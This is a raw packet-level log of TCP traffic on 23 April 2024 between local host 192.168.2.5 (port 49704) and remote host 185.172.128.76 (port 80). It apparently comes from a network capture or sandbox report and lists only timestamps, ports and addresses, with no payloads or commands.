Apr 23, 2024 09:33:04.624197006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624202013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624202013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624208927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624218941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624253035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624253035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624291897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624330997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624342918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624352932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624360085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624360085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624387026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624423981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624423981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624429941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624442101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624450922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624468088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624594927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624607086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624640942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624640942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624685049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624697924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624708891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624721050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624732971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624735117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624749899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624787092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624789000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624859095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624876976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624887943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624898911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624898911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624933958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.624974966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.624974966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.625000954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.625011921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.625022888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.625072002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.625072002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.625200987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.625300884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.625313044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.625324011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.625339031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.625344038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.625344038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.625350952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.625361919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.625402927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.625402927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.676774979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.676830053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.676891088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.676911116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.676930904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.676954031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.676975965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677009106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677045107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677047014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677081108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677089930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677089930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677115917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677150965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677166939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677166939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677185059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677220106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677231073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677231073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677257061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677292109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677301884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677301884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677326918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677347898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677376032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677382946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677412033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677448988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677460909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677460909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677484035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677515030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677531004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677531004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677609921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677753925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677789927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677834988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677835941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677856922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677892923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677927971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677934885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677934885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.677963018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.677997112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678014040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678014040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678031921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678067923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678080082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678080082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678103924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678141117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678153038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678153038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678179026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678208113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678214073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678250074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678261042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678261042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678284883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678317070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678320885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678355932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678370953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678370953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678390026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678426027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678437948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678437948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678458929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678493977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678504944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678504944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678529978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678565979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678580999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678580999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678597927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678632975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678642988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678642988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678672075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678708076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678721905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678721905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678744078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678780079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678781033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678792953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678814888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678847075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678860903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678860903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678881884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678915977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678921938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678951979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.678966045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678966045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.678982973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679018021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679027081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679027081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679053068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679088116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679088116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679121017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679122925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679156065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679162025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679162025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679193974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679231882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679241896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679241896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679263115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679295063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679299116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679335117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679343939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679343939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679368973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679404020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679418087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679418087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679439068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679475069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679488897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679488897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679507017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679542065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679550886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679550886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679577112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679611921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679625988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679625988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679645061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679681063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679696083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679696083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679716110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679750919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679766893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679766893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679783106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679817915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679826975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679826975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679855108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679891109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679903984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679903984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679924011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679959059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.679960966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679970980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.679995060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.680017948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.680030107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.680062056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.680073023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.680073023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.680124998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730143070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730202913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730246067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730304956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730331898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730331898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730340958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730381966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730393887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730418921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730428934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730428934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730459929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730472088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730495930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730530977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730541945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730541945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730567932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730602980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730609894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730638027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730652094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730652094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730674982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730710030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730719090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730719090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730746984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730779886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730784893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730784893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730815887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730856895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730869055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730869055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730904102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730937004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.730948925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730948925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.730992079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731358051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731398106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731431961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731441975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731441975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731465101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731499910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731508017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731508017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731535912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731571913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731573105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731607914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731620073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731620073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731651068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731673002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731692076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731725931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731726885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731738091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731761932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731797934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731806993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731806993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731832981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731864929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.731870890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731870890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731914043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.731992960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732029915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732064009 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732064962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732096910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732110977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732110977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732152939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732187986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732197046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732197046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732224941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732259035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732261896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732299089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732306957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732306957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732333899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732366085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732378006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732378006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732400894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732419968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732436895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732471943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732481003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732481003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732503891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732531071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732538939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732563972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732573986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732620001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732652903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732665062 CEST	49704	80	192.168.2.5	185.172.128.76
